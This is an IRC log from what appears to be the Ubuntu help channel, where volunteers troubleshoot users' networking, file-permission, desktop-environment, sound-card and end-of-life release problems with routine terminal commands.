dr_willisyazrisal:  you  are using a normal WIRED network cable correct? Not wireless?04:05
berserker703hello04:05
Jacob_i'm just going to restart my computer and try again04:05
yazrisalim sorry i just migrate to linux and start to feel comfort with this clean and sleek look Unity :p04:05
yazrisalso i dont know anything lol04:05
yazrisalive restarted and still can't connect04:06
dr_willisyazrisal:  did you plug in a cable? or are you  using wireless?04:06
iter ay ay ay04:06
iterlayer 2 first04:06
iteryazrisal: do you have a green light where the cable plugs in?04:07
yazrisali plugged in a cable04:07
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cexpert1dr_willis: We found the kernal/drivers were more robust with KDE/Kubuntu, so installed that, which worked much better.  Could not even access the chipset before that, not in the native Ubuntu 12.04 livecd install.  We also had to dis-install that total bogus UNITY04:07
cexpert1BS04:07
iterdo you know how to open a terminal?04:07
yazrisalyes correct im using normal office network LAN cable04:07
yazrisalyes i know :p04:08
iterok, please open one up and type ifconfig -a04:08
yazrisali opened it now and conduse what to do nest xD04:08
dr_willisyazrisal:  so the ifconfig command shows a eth0 device? does it show an inet addr: line with an ip address?04:08
iteralso type netstat -rn04:08
cexpert1yazrisal: Sorry for the side dialog!04:08
iterpaste the outputs into pastebin04:08
iter(if possible)04:08
yazrisalhere is the link to the ifconfig -a output: http://pastebin.com/84ij9fhw04:09
AcidRainin xchat, how do i change my own text color locally?04:09
AcidRainits rly hard to see what i have typed04:09
cexpert1dr_willis: Side Q:  What is the URL to register for IRC?  Keep knocking out my registration, so not able to use native handle.04:10
iteryazrisal: do you have a usb ethernet device of some sort?04:10
yazrisalyes i am using it now to chat with you :304:10
dr_williscexpert1:  #freenode channel can helo  with that.04:10
iterok very good04:10
yazrisalthen?04:10
iterso your ethernet does not have an IP address04:10
yazrisalthen what I should do?04:11
itertry dhclient eth004:11
yazrisalok wait04:11
yazrisalhttp://pastebin.com/84ij9fhw04:12
yazrisallol, sorry04:12
yazrisalaccidentally pasted, wait04:12
iternp04:12
yazrisalyazrisal@yazrisal-Satellite-L645:~$ dhclient eth004:12
yazrisalRTNETLINK answers: Operation not permitted04:12
fuzzyghostI was in here earlier, talking to escott about my terminal snafu (sudo chmod o+rwx /*), and he helped me by telling me that I might be able to fix it by setting octal permissions to 755.04:12
yazrisalthat's what i got04:12
Jacob_if the last message on the terminal is "Unpacking libsigsegv2" then it's still not done installing, right?04:12
SolarisBoyneeds some sudo04:12
iterok, 'sudo dhclient eth0'04:12
iterw/o quotes of course04:13
fuzzyghostI was just wondering how chmod o+rwx /* (no recursive option used), hoses a system.04:13
yazrisalid doesn't show anything :o04:13
iterok, you ran that command and it completed? try ifconfig -a again please04:14
yazrisalyes it completed04:14
iterwe are looking for inet addr: 192.168.42.xxx under eth004:14
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yazrisalstill exactly the same output04:16
berserker703umm my linux wont start after all the updates04:16
berserker703is their anything i can do?04:16
iterfor some reason you are not getting an IP address on eth004:17
iterlet's try eth104:17
iter'sudo dhclient eth1'04:17
yazrisalit takes very long time to execute :(04:17
iterit should get an IP pretty quickly, otherwise you ahve to wait for the timeout04:18
fuzzyghostI'm sorry if my question is noobish, just trying to assess whether I will have to reinstall when I get my laptop home.04:18
iterI assume your usb network adapter 'just worked' right04:18
Edistodoes anyone else get small lag spikes where programs freeze for a few seconds on updating or using web browser?04:18
histoEdisto: no04:18
yazrisalyes my usb tethering worked flawlessly04:18
histofuzzyghost: did you run that as sudo?04:19
fuzzyghosthisto Yes, I did.04:19
iterdo you know anything about the wired network you are plugging this computer into?04:19
iterare you sure dhcp works on it, for example04:19
fuzzyghostI meant to type ./* instead, but slipped.04:19
fuzzyghostIt is still running now, haven't rebooted.04:19
histofuzzyghost: every directory inside of the / would be chmod's down 1 level like / /home /etc  /bin /usr etc....04:20
yazrisalyes i know, it's a working office network which runs good on my friend's mac and another friend's windows04:20
fuzzyghostYeah, and escott told me that default permissions were 755, so I reset them to that.04:20
histofuzzyghost: It's going to create permission issues more than anything as you just gave the world rwx to those directories04:20
histofuzzyghost: let me check04:20
fuzzyghostOkay.  All the Googling I did indicated the system was hosed.04:20
yazrisalis there any teamviewer for ubuntu? if yes, ill download and let you control it from there :p04:20
fuzzyghosthisto Thank you.04:21
histofuzzyghost: yeah they should be rx not rwx04:21
TBotNikyazrisal: Yes but installs via Q4Wine04:21
iteryazrisal: I could do it via ssh but that might be a bit too much work for your end04:22
histofuzzyghost: chmod o=rx /*     with the exception of /tmp needs to be rwx04:22
yazrisalany alternative without those 'wine'?04:22
TBotNikyazrisal: Therefore you have to install Wine, Q4Wine, then Teamviewer.04:22
yazrisalor if still need wine, i have playonlinux installed on my laptop04:22
Omer7aPort forward for remote desktop. Don't need team viewer04:22
iterhttp://www.teamviewer.com/en/download/linux.aspx04:22
iterwell I'll be darned04:22
Omer7aHa04:22
yazrisalok :p wait, dont go anywhere xD04:22
histofuzzyghost: init* and vmlin* need to be rwx and root needs to be nothing basically o=04:23
histofuzzyghost: also lost+found should be o=04:23
topper4125yazrisal: http://askubuntu.com/questions/119650/what-is-the-alternative-for-teamviewer04:23
histofuzzyghost: if you ls -l / | pastebinit I can tell you whats wrong04:24
TBotNikAll: Anyone know a good resource for PHPMailer?04:24
Omer7aAs I said, rdp04:24
histoyazrisal: yes you can install teamviwer in linux04:24
histoyazrisal: there are other options availible too like xrdp and if you are running 12.10 you can even log into remote systems right from the login screen04:25
subcoolcan someone help me with gparted...04:25
fuzzyghosthisto I followed a couple of your commands, here you go:  http://pastebin.com/dQPrLpfy04:25
subcoolaccording to the site, it supports lvm2, but i have a error from gpartes saying its unsupported04:25
TBotNikyazrisal: TV is all I use for RDT, as works on Linux, Mac, Winduhs! so can support anything with it.04:25
Jacob_if the last message on the terminal is "Unpacking libsigsegv2" then it's still not done installing, right?04:26
Jacob_once again the boot repair is taking an eternity to install >_<04:26
dr_willisthe terminal  will return to the  command prompt when its done04:26
histofuzzyghost: chmod g+w /tmp       and  chmod g-rx /root04:27
histofuzzyghost: fix those 2 and you'll be good.04:28
kevdogyo04:28
fuzzyghosthisto Plus the vmlin and init?04:28
histoyazrisal: http://www.omgubuntu.co.uk/2012/09/ubuntu-12-10-login-screen-adds-remote-desktop-access04:29
histofuzzyghost: those look fine I was talking of initrd.img  and vmlinuz04:30
fuzzyghostOkay.04:30
histofuzzyghost: they are the proper permisions.04:30
histowell atleast the default installed ones.04:30
sazpaimon_how do I replace ubuntu with xubuntu but make it as if ubuntu was never installed? I tried apt-get remove ubuntu-desktop^, but that left me with a "failed to load session ubuntu" message?04:30
histosazpaimon_: did you already install xubuntu-desktop?04:31
sazpaimon_yes04:31
sazpaimon_I'm in xfce4 now04:31
histosazpaimon_: then when did you get the session error?04:31
fuzzyghosthisto Thank you.  I have one day off after I get back from vacation, and I didn't want to have to spend it reinstalling everything.  Thanks again for your help.04:31
kevdogI think you need to reconfugure your login manager --04:31
sazpaimon_after I did sudo apt-get remove ubuntu-desktop^ and tried to restart lightdm and/or gdm04:31
histo!purexubuntu | sazpaimon_04:31
ubottusazpaimon_: If you want to remove all !KDE and !Gnome packages and have a default !Xubuntu system follow the instructions here « http://www.psychocats.net/ubuntu/purexfce »04:31
dr_willisapt-get remove ubuntu-desktop   shouldent remove much of anything at all id think04:31
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sazpaimon_or after a simple startx04:32
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histosazpaimon_: not sure if xfce is using lightdm04:32
histosazpaimon_: I mean xubuntu not xfce04:32
topper4125sazpaimon_: http://askubuntu.com/questions/6302/how-can-you-remove-unity04:32
dr_willisthe system is trying to start up unity  as the  default wm because you got nothing set in .dmrc perhaps04:32
sazpaimon_well lightdm was still around after I did ubuntu-desktop^ removal04:32
kevdogubuntu desktop is just a meta package04:33
TBotNikRepeating: All: Anyone know a good resource for PHPMailer?  I installed, had errors, fixed errors, but still not working.  Appears to be security issue as "SSL/TLS" is need by SMTP client.04:33
fuzzyghostG'Night all.04:33
sazpaimon_yeah and I thought removing ubuntu-desktop^ would remove all it's dependencies. It did, but left me with that error04:33
* dr_willis wonderss about the ^ at the end of that..04:34
histosazpaimon_: did you autoremove after that?04:34
sazpaimon_yeah04:34
luckybunnyjust a quick update... I rebooted, scanned the disk and as if by magic... "/dev/sdb1       294G  180G   99G  65% /home"04:34
kevdogIll have to look up the exact command but isn't it like package reconfigure or something?04:34
histosazpaimon_: and did you see the psychocats tutorial04:35
luckybunnyI didn't know there was as much as 99GB in it, but I knew for certain the disk wasn't full04:35
Danechihello04:35
sazpaimon_I did, I'll try that now04:35
DanechiIm new to this and i could use some help04:35
luckybunnyI have no idea why merely having a scheduled disk check worked04:36
sazpaimon_also, 2 more questions, 1. is there a way to have window previews in alt-tab in xfce that doesn't involve compiz, and 2. is there a unity-like search for xfce?04:36
histoluckybunny: du -h | less04:36
histoluckybunny: would show you where your space is being used.04:36
DanechiI know sound is a common issue, but i am not finding any output options04:36
sazpaimon_for now I solved 1 by using compiz, but like I said, I'd like to avoid that04:36
histosazpaimon_: unity like search???  for programs or files or both?04:37
Danechicould anyone help me with that?04:37
sazpaimon_histo, both04:37
histosazpaimon_: someone in #xubuntu may know or xfce04:37
sazpaimon_xfce4-appfinder is okay, but it's not as smart as unity's04:37
histosazpaimon_: I'm sure there is some sort of overlay or application out there. There are so many choices in linux04:37
dr_willissome of the docks mayhave similer features also04:37
histo!sound | Danechi04:38
ubottuDanechi: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.04:38
sazpaimon_I'll look around04:38
nexus7useri am anxiously awaiting the release of ubuntu for tablets. does anyone know when i can get my hands on an image for my nexus 7?04:38
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dr_willisnexus7user:  see #ubuntu-arm and its been  out/testing for some time now ibelive04:38
nexus7userthank you dr04:39
dr_willisbut its not the  same as what  was anounced i imagine..04:39
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dr_willisgotta love meta-anoucenements that  basically anounce tht there will be future anouncements...04:39
Danechiwhat i am concerned about is when i open sound settings its giving me no options to put output sound through. I'm having trouble because im new to linux and dont realkly know where to start04:39
nexus7useran official image is announced for release for the 21st04:40
kevdogyou might need alsa-manager file installed04:40
kevdogalsa-manager should allow selection of the sound card, etc04:41
nexus7userubuntu has been ported to the nexus 7 for some time04:41
subcoolis there a gui app to alter and manage LVM?04:41
AliendroidHi i am trying to use empathy to chat on facebook  , bu i have trouble setting up the account. In the Online Account > facebook the login screen is pop out to google-chrome, how do i fix that?04:41
Danechii've tried that through terminal but i'm not going anywhere through it04:41
kevdogno follow04:41
dr_willisAliendroid:  i thought  you  logged into facebook in that browser then allowed the program access04:42
Danechii keep pulling up alsa in terminal to select the card and volume and such, but nothing is there04:42
kevdogare you using builtin sound or have an actual sound card?04:42
Danechibuilt in sound04:42
Danechii plugged in some speakers hoping that would work and still nothinbg04:43
Danechioutput sound isnt highlighted, and there is nothing in the "play sound through" box04:43
Aliendroiddr_willis,  the logon box suppose to show right inside the Online Accounts but everytime chrome pup up instead :<04:44
kevdoglshw -- this command is going to put out a bunch of output -- but a subsection should list your Audio device04:44
dr_willisAliendroid:  cant say ive ever noticed..04:44
Danechiok so type that into terminal04:44
Danechijust "Ishw"04:44
kevdogFor example my audio device is using driver=snd_hda_intel04:45
kevdoglshw04:45
kevdogas in list hardware04:45
Danechiok im looking04:46
Danechiits asking me to run something as a super-user04:46
Danechibut i still dont see anything that looks like audio...04:46
kevdogdoesn't matter -- just keep looking04:46
histoDanechi: can you pastebin the output of aplay -l04:46
Danechiim worried i dont know what to look for04:46
histoDanechi: and lspci04:47
Danechiwhat does that mean...04:47
kevdogMine is listed *multimedia descripton: Audio device04:47
histoDanechi: what does what? mean pastebin04:47
histo!paste | Danechi04:47
ubottuDanechi: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.04:47
kevdoglspci will also work (if its a pci device)04:48
OweoqiCan I use the ctrl + Fn keys  as shortcuts in Xubuntu?04:48
histoDanechi: Or the easy way is sudo apt-get install pastebinit  then run lspci | pastebinit && aplay -l | pastebinit    then give us the links04:48
Danechii am so confused right now im somewhat lost... treat me like a kid here. This is all new to me04:48
histoOweoqi: you can use whatever you want I'm sure.04:48
histoDanechi: Okay open a termainal ctrl+alt+t04:48
OweoqiOdd, I had trouble doing it04:48
histoDanechi: then sudo apt-get install pastebinit04:48
Danechiok ok i see audio device04:48
Danechiok04:49
histoDanechi: then lspci | pastebinit04:49
kevdogNever knew about the pastebinit package -- cool04:49
Danechiok one sec04:49
histoDanechi: then aplay -l | pastebinit04:49
Danechiwait wait im catching up04:49
histocopy and paste the links that application gives you into here so we can take a look.04:49
OweoqiI'll try again04:49
histokevdog: very usefull package for here.04:49
kevdogDont spend a hack of a lot of time here -- but yes I can see why its useful04:50
Danechiit says it setting it up04:50
Danechinow what04:50
kevdogpaste the link04:50
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Danechifrom what?04:51
Danechigod i feel dumb...04:51
DJAteste04:51
kevdogrun the command in the terminal and then it spits out a http address04:51
kevdogpaste the http address here04:51
Danechiit didnt give me an address04:52
histoDanechi: lspci | pastebinit     <copy and paste that into terminal it should output a hyperlink for you to copy and paste here04:52
Danechiit just says setting up and back to the command line04:52
histoDanechi: aplay -l | pastebinit   < this one too04:52
OweoqiReally weird, when I try to set a keyboard shortcut in Xubuntu involving a Function keys it ignores the fact I pressed a function key. ANyone else know about this?04:52
synergyhas anyone successfully got a bluetooth input device working in the latest ubuntu after it pairs? the device does nothing, nothing is in logs that shows it erroring, and I removed all the ubuntu bt shit in favor of just using bluez-utils (what I use on my arch linux, slackware, and debian boxes with the remote), and it still pairs but no luck getting it to do anything while connected. The remote has a status led that shows it sending commands anytime I use it04:52
synergyusually I would never use ubuntu, but unfortunately I need to on a device I have04:53
Danechiok ok04:53
kevdog@synergy: gave up on the using bluez on arch for me -- very buggy -- it would pair but most times file manager couldn't access files -- once in a while it would work04:54
Danechihttp://paste.ubuntu.com/169671904:54
Danechiis that right04:55
histoDanechi: okay and the aplay -l | pastebinit    please04:55
Danechiok04:55
kevdogyes -- amd device -- I'm sensing there are going to be problems here -- do the same with lshw | pastebinit04:56
Danechihttp://paste.ubuntu.com/169673504:56
Danechiithink thats right04:56
atriusso.. if i'm looking around for the "best" wireless network manager thing.. what would you guys suggest?04:58
Danechiok heres the lshw one04:58
Danechihttp://paste.ubuntu.com/169675404:58
Danechitell me what im looking at here... cause this is greek to me04:58
histoDanechi: and you have no sound output whatsoever?04:59
Danechinone, there's nothing in the box, it wont let me turn it up or down04:59
Danechioutput volume isnt activated it looks like04:59
synergykevdog: well, I've no issues on any of my other systems with this. Just haven't had any luck in ubuntu with this. I even compiled the same xorg I build on my other boxes, and ran that with no changes04:59
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synergyI removed the ubuntu bt shit since the gui kept getting in the way, and it wasn't working anyway (would pair, but no keyboard or trackpad functionality)05:00
histoDanechi: what make and model pc is this?05:00
kevdog@synergy -- can't help you -- annoying for sure05:00
Danechiits an hp um.... let me look05:01
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synergyyep, agreed. It's a single emmc system that I write images to with dd, so to get arch on it is a bigger pain than most other systems, or predone ubuntu images05:01
Danechihp compaq 7700?05:01
Danechidc770005:01
histoDanechi: what version of ubuntu?05:02
Danechidoes that help?05:02
Danechithe latest i just downloaded it and put it on today05:02
histoDanechi: hwinfo --sound | pastebinit05:02
kevdogalsamixer didn't do anything??05:02
kevdog@synergy -- never had emmc system --05:03
Danechiit says it doesnt know that command05:03
Danechiand yes alsa mixer didnt even come up with an option to do anything05:03
histoDanechi: sudo apt-get install hwinfo05:03
histoDanechi: sounds like a module for your sound card didn't load for somereason05:04
Danechiok05:04
kevdog@histo -- lshw shows the module is loaded05:04
Danechiim trying to type that command but it says empty document05:05
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histokevdog: I didn't see the lshw link05:05
histoDanechi: i HAVE TO go perhaps someone else can help. I'll be back later05:06
histo!sound | Danechi05:06
ubottuDanechi: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.05:06
Danechiok...05:06
Danechinow what...05:06
kevdogtry hwinfo | pastebinit05:07
synergykevdog: yeah, I need to make an image with a boot partition, system, home, etc, that will dd to the chip and be ready to boot. Makes real linux os a bit more difficult to get on. And all I want to use it for is xbmc, lol. would think ubuntu could at least do something simple with xbmc and a basic bluetooth remote that even works on every android device and linux device I've tried it on05:07
Danechihttp://paste.ubuntu.com/169682205:08
Jacob_it's been an hour since i started to install boot repair and it still hasn't finished, this can't be right!05:08
Jacob_there has to be something wrong w/ it05:09
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Danechianything?05:10
Jacob_nothing05:11
ubuntu_userhi i want to transfer a log file to from command-line to a public website where i can download it again. how do i do it?05:11
Danechikevdog- doesthat help at all05:12
Aliendroidis there a way to set a window to show on multiple workspace but not all , 12.10.05:12
coldpizza72iWhat is the best way to stream movies to my mac osx laptop from my ubuntu machine05:13
dr_willisubuntu_user:  its going to depend on how the server supports uploads. or you could stick it on pastebin05:13
kevdoghey I had to look through that file -- sorry --- too big of file05:13
Danechisorry what do i do now05:13
kevdogYes your sound device is loaded.05:13
dr_williscoldpizza72i:  dlna/upnp servers can stream to many  differnt os/devices/clients05:13
Danechi:[ so what does that mean if its not there as an option05:13
dr_williscoldpizza72i:  or setup  a samba or nfs share.. but  thats not really  'streaming'05:14
kevdogif you type alsamixer at command line and then hit F6 -- what does it give you05:14
Danechiok let me see05:14
coldpizza72idr_willis: are these methods good for very high quality videos05:14
histocoldpizza72i: dlna or use some other media server05:14
dr_williscoldpizza72i:  they should work fine for hd video.. your network connection will be the bottleneck05:14
Danechi- default05:14
Danechi0 hd audio generic05:14
kevdogstreaming movies is usually better with compressed video05:15
Danechiand enter device name05:15
dr_willis!info ushare05:15
ubottuushare (source: ushare): lightweight UPnP A/V Media Server. In component universe, is optional. Version 1.1a-0ubuntu9 (quantal), package size 51 kB, installed size 182 kB05:15
histocoldpizza72i: if you instlaled a media server like mediatomb or something then it's more of an issue on the client side (the mac) on whether it supports dlna and streaming protocols like that.05:15
coldpizza72iluckily my ubuntu machine has about 15MB/s upload05:15
dr_willisushare, xbmc, plex, mediatomb, and perhaps a dozen others  i  cent rember. ;)05:15
kevdogso there is a - default 0 hda audio generic and 1 <something else?>05:16
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coldpizza72ido they buffer as nessesary?05:16
dr_willisxbmc can access dlna servers  should be avail on osx05:16
coldpizza72icool05:16
dr_willisxbmc can even sharre to  other xbmc  clients. ifyou set up xbmc on both machines.05:16
kevdog?05:17
Danechiit gives me three options there but when i press enter it does nothing05:17
Danechithe05:17
Danechi- default05:17
Danechi0 hd-audio generic05:17
Danechienter device name05:17
FloodBot1Danechi: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.05:17
dr_willisplex can share to other machines over the internet. ;)05:17
dr_williswell stream..05:17
Danechiwhat does he mean by flood...?05:17
kevdogand if you push Esc to get back to the main screen -- the master volume is set at 100?05:17
dr_willisdont send a lot of text to the channel Danechi   use a pastebin site05:18
juicyjonesI'm just curious if we have an IRC channel just for the Touch Preview coming out tomorrow?05:18
Danechiits not?05:18
kevdogif you hit F5  -- what do you have05:19
Danechii dont see a master volume05:19
DanechiF5 says all05:19
kevdogok -- hit f505:19
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kevdogwhat are the names of the bars you have?05:19
Danechii have no bars05:19
kevdognothing called master?05:20
cinvokei deleted tomcat6 under etc and call apt-get remove tomcat6.  now it will not reinstall. please help05:20
cinvoke<cinvoke> i get this error: chmod: cannot access `/etc/tomcat6/tomcat-users.xml': No such file or directory05:20
Danechino05:20
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kevdogBlank screen?  No bars?05:20
holsteinDanechi: in the terminal.. aplay -l ..and pastebin the output05:20
Danechican i send you a screen shot somehow?05:20
holsteinDanechi: i use imagebin for screenshots05:21
histo!paste | Danechi05:21
ubottuDanechi: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.05:21
kevdogIf you look at screen, mine says Card: Pulseaudio Chip: Pulseaudio View: F3:Playback F4: Capture F5: All Item: Master05:22
histoDanechi: imagebin.org as the link suggests printscreen will let you take a screenshot05:22
Danechiam i in trouble?  i keep getting messages telling me to stop posting mulkti line tes\xt05:22
yazrisaliter: are you here?05:22
kevdogthats the stupid robot saying that -- ignore it05:22
histokevdog: He doesn't have the module loaded probably. I believe he's only seeing the hdmi output and not the actual soundcard on his box but I could be wrong.05:22
holsteinDanechi: no. they are directions on how to post lines05:22
ubuntu-userhow to check what files  mailutils have before installing it?05:22
histoDanechi: NO I was just having the bot give you directions for imagebin.org05:22
yazrisaliter: thank you so much, my WIRED network is really woking good now :D05:22
Danechioh ok i thought i was going to get kicked off. Ok so05:23
yazrisal*working05:23
Danechiimagebin05:23
cinvoke.05:23
holsteinDanechi: please open a terminal and run "aplay -l" and put the output in pastebin05:23
yazrisali have plugged out my usb connection :D05:23
Danechiholstein i'm on it05:23
kevdogaplay-l | pastebinit05:23
kevdogaplay -l | pastebinit05:24
coldpizza72iI dont know if this was dlna but i remember seeing a media center sotware with a really cool interface of a wavy wall of movies...if anyone knows the name could you let me know05:24
Danechihttp://paste.ubuntu.com/169694005:24
Danechithat should be it05:24
ubuntu-userhow to check what files  mailutils have before installing it05:24
histocoldpizza72i: plex?05:25
histocoldpizza72i: https://apps.ubuntu.com/cat/applications/plexmediaserver/05:25
holsteinDanechi: the hdmi is the only thing showing there.. so its the only thing that will work05:25
Danechimeaning...?05:25
histoubuntu-user: you could use apt-file if you are looking for a specific file. Or apt-cache showpkg mailutils05:25
holsteinDanechi: is that what you are tring to use? he hdmi?05:25
kevdogSomething is definitely wrong with that output05:25
Danechino not at all, just normal sound. any sound05:25
histoYeah his sound card module isn't loaded05:26
holsteinDanechi: if you are trying to use something else, it will *never* work that way05:26
iteryazrisal: hi05:26
kevdogI'm wondering if anything is listed in dmesg | more05:26
Danechii havent even looked at the hdmi for anything yet05:26
iteryazrisal: glad to hear we got you going05:26
OrokusakiUbuntu server ready with we admin but still learning how to configure a file serve05:26
Danechiok so i need to use the HDMI port to get sound?05:26
OrokusakiWe admin05:26
amicrawler2012hey guys  i have a qestin05:26
holsteinDanechi: hdmi is the only hardware that is setup on the machine05:26
amicrawler2012i have 10.1005:26
histoDanechi: lspci | grep -i audio05:27
amicrawler2012can i use 10.04  respotires05:27
amicrawler2012i'm getting a error 404 on 10.1005:27
histoDanechi: if no other sound cards come up please check your bios and make sure on board audio isn't disabled or something silly05:27
coldpizza72ihisto: instead of the movies on a single plane (like a flat peace of paper) they were displayed on a surface described as (a piece of paper that is not flat but instead has curves giving a wavy effect)05:27
histoDanechi: your hardware is supporte din ubuntu and should work out of the box. So either your soundcard is dead or disabled05:27
holstein!sound | Danechi05:27
ubottuDanechi: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.05:28
amicrawler2012HELLO05:28
histocoldpizza72i: Idk there are so many I would search the software center05:28
Danechiok so what should i put in terminal next05:28
amicrawler2012can any body help me plz05:28
kevdogThis is hp notebook right?05:28
Danechino desktop05:28
dr_williswith what amicrawler201205:28
kevdogwierd -- I thought they were manufactured with intel sound05:28
amicrawler2012i have a ubunut 10.10 amd 32bit05:29
Danechiyeah thats what i thought which is why i am confused05:29
holsteinDanechi: you should read that link05:29
Danechiwhuch one05:29
amicrawler2012can i use 10.04 stuff instead of 10.1005:29
amicrawler201210.10 give me errors05:29
kevdogLong shot here :  modinfo snd_hda_intel | pastebinit05:29
dr_willisamicrawler2012:  both are going to be EOL soon.. time to upgrade05:29
dr_willis!10.0405:29
ubottuUbuntu 10.04 LTS (Lucid Lynx) was the twelfth release of Ubuntu. Download http://releases.ubuntu.com/10.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1004 - Supported until April 2013 (Desktop), April 2015 (Server)05:29
amicrawler2012i know05:29
Danechihttp://paste.ubuntu.com/169699005:30
amicrawler2012so will it hurt if i add 10.0405:30
Danechithats what you asked me to type in kevdog05:30
amicrawler2012and get rid of 10.1005:30
dr_willisyou dont mixx differnet release repositories Aminzai05:30
tgm4883amicrawler2012, yes it will probably cause you issues05:30
dr_willisyou want 10.04 you install 10.0405:30
amicrawler2012oh i see05:31
kevdoglsmod | pastebinit05:31
amicrawler2012so how do i fix my issue then with 10.1005:31
tgm4883amicrawler2012, what issue?05:31
amicrawler2012i get a 40405:31
tgm4883amicrawler2012, 10.10 is EOL05:31
histo!eol > amicrawler201205:31
ubottuamicrawler2012, please see my private message05:31
Danechihttp://paste.ubuntu.com/169700205:31
histoamicrawler2012: It's end of life05:31
tgm4883!eol05:31
ubottuEnd-Of-Life is the time when security updates and support for an Ubuntu release stop, see https://wiki.ubuntu.com/Releases for more information. Looking to upgrade from an EOL release? See https://help.ubuntu.com/community/EOLUpgrades05:31
tgm4883amicrawler2012, alternatively, you could try and use http://old-releases.ubuntu.com/05:32
tgm4883but you should really upgrade05:32
dr_willisbe faster to do a clean insgtall of a newer release05:32
histotgm4883: the problem is he can't upgrade05:32
coldpizza72ihisto: http://www.moovida.com/ is what i was refering too, pretty sweet UI05:33
histotgm4883: it's too old the repos are gone.05:33
tgm4883histo, what about http://old-releases.ubuntu.com/05:33
histotgm4883: He would have to download each CD05:33
tgm4883histo, err, http://old-releases.ubuntu.com/ is the old repositories I thought05:33
histotgm4883: untill he got to a version that was still supported then he could online update.05:33
tgm4883http://old-releases.ubuntu.com/ubuntu/dists/05:33
Danechidoes that help anything?05:33
amicrawler2012is there a server i can use to get what there is for this  ver of ubuntu05:33
histotgm4883: I believe it's only the isos not mirrors05:34
kevdogsudo modprobe snd_hda_intel05:34
tgm4883histo, no, it has all the old mirrors05:34
histokevdog: snd_hda_intel is loaded on that pastebin05:34
dr_willisthats the whole point of having old-release.xxxxxxx servers ;)05:34
histotgm4883: ahh05:34
* tgm4883 wonders if amicrawler2012 just ignores him05:34
kevdogYes I know -- however something is messed up -- Why isn't it assoicating with the device?  where is the error message?05:34
Danechiok loet me type that05:34
MatthewLAmicrawler2012: try searching for lamp on Ubuntu05:35
dr_willisamicrawler2012:   the old-release servers... yes.. read the !EOL info05:35
amicrawler2012so how do i add this to my list  i see i can use it05:35
Danechinothing came up after i typed that05:35
tgm4883amicrawler2012, did you not read anything on that link for eol?05:35
histoamicrawler2012: you'd have to change your sources.list to reflect old-release.ubuntu.com according to others here.05:35
dr_willisamicrawler2012:  a clean install would be faster i imagine05:35
kevdogdmesg | pastebinit05:36
Danechihttp://paste.ubuntu.com/169703905:36
kevdogWish they had the fiesty fawn repos still up05:36
histocoldpizza72i: ahh05:36
histokevdog: they do. aparently at old-releases05:37
tgm4883you could go back to warty if you wanted to05:37
dr_willisback in the day when you could pronounce release names...05:37
histolol05:38
histoI think they really try to pick the most obscure animals05:38
MatthewLwhois dr_willis?05:38
dr_willissome are mythical )05:38
histowhois matthewL05:38
MatthewL:)05:38
dr_willisWhere in the world is Carman SanDiego05:38
* histo like ubuntu rabid rabbit05:39
Danechidoes that say anything05:39
MatthewLSorry, just got an irc book today05:39
coldpizza72iplex is supported on xubuntu too right05:39
histoMatthewL: yeah you may want to try /whois username05:39
dr_williscoldpizza72i:  yes. its a xbmc spinoff05:39
MatthewLTried it.05:40
kevdogIt says input: HD-Audio Generic HDMI/DP,pcm=3 as /devices/pci0000:00/0000:00:01.0/0000:01:00.1/sound/card0/input605:41
ubuntu-userAdobe FMS , guys having issues with installation. can you help me out?05:41
CivellaHello!05:41
Danechiwhat does that mean?05:41
kevdogFeisty fawn repos -- cool -- wonder if its still pulling security updates -- or that's it05:41
dr_willisubuntu-user:  trying to insstall it via wine?05:41
histoMatthewL: ewww android client and irc book?05:41
tgm4883kevdog, thats it05:41
dr_williskevdog:  its eol.. so no.05:41
CivellaAnyone mind giving me some one-on-one help with Ubuntu? Just downloaded it and I'm running it off a USB at the moment.05:41
MatthewLY, histo05:42
dr_willis!manual | Civella05:42
ubottuCivella: The Ubuntu Manual will help you become familiar with everyday tasks such as surfing the web, listening to music and scanning documents. With an emphasis on easy to follow instructions, it is suitable for all levels of experience. http://ubuntu-manual.org/05:42
kevdogI'm kind of idea -- did you reboot just for the hell of it?05:42
histo!ask | Civella05:42
ubottuCivella: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience05:42
CivellaI'm afraid I didn't ask to ask a question.05:42
Danechino i got this computer for a friend and put a new hardrive in it05:42
kevdogok -- that's not an issue05:43
kevdogYou are dual booting with windows or something?05:43
Danechino not at all05:44
MatthewLhisto, %B nice work05:44
MatthewLHmm05:44
Danechiubuntu is all i've got on this hardrive05:44
lotuspsychjecan we discuss ubuntu tablet issues here?05:45
CivellaDocument Viewer won't open. Sigh.05:45
dr_willisMatthewL:  irc color coded and  other escape codes are often disabled on channel;s.. they are annoying.05:45
MatthewLOk thanks |dr_wllis05:46
kevdogAnd you just ran into this problem on installation?05:46
dr_willisMatthewL:  and even the most advanced android irc clients ive seen.. are rather limited compared to ones on linux.05:47
kevdogandroid irc clients suck05:47
lotuspsychjekevdog: stay polite mate05:47
kevdogaye05:47
dr_willisthere is a weechat client for android now that pairs with weechat runniong on linux. sort of as a bouncer type thing05:47
MatthewL;-)05:48
dr_willisbut its still in a rouhgh stage05:48
dr_willisrough05:48
MatthewLY, I love my xchat on lubuntu05:48
ubuntu-userno dr_willi05:48
Danechiyes when i first tried to use the computer today05:48
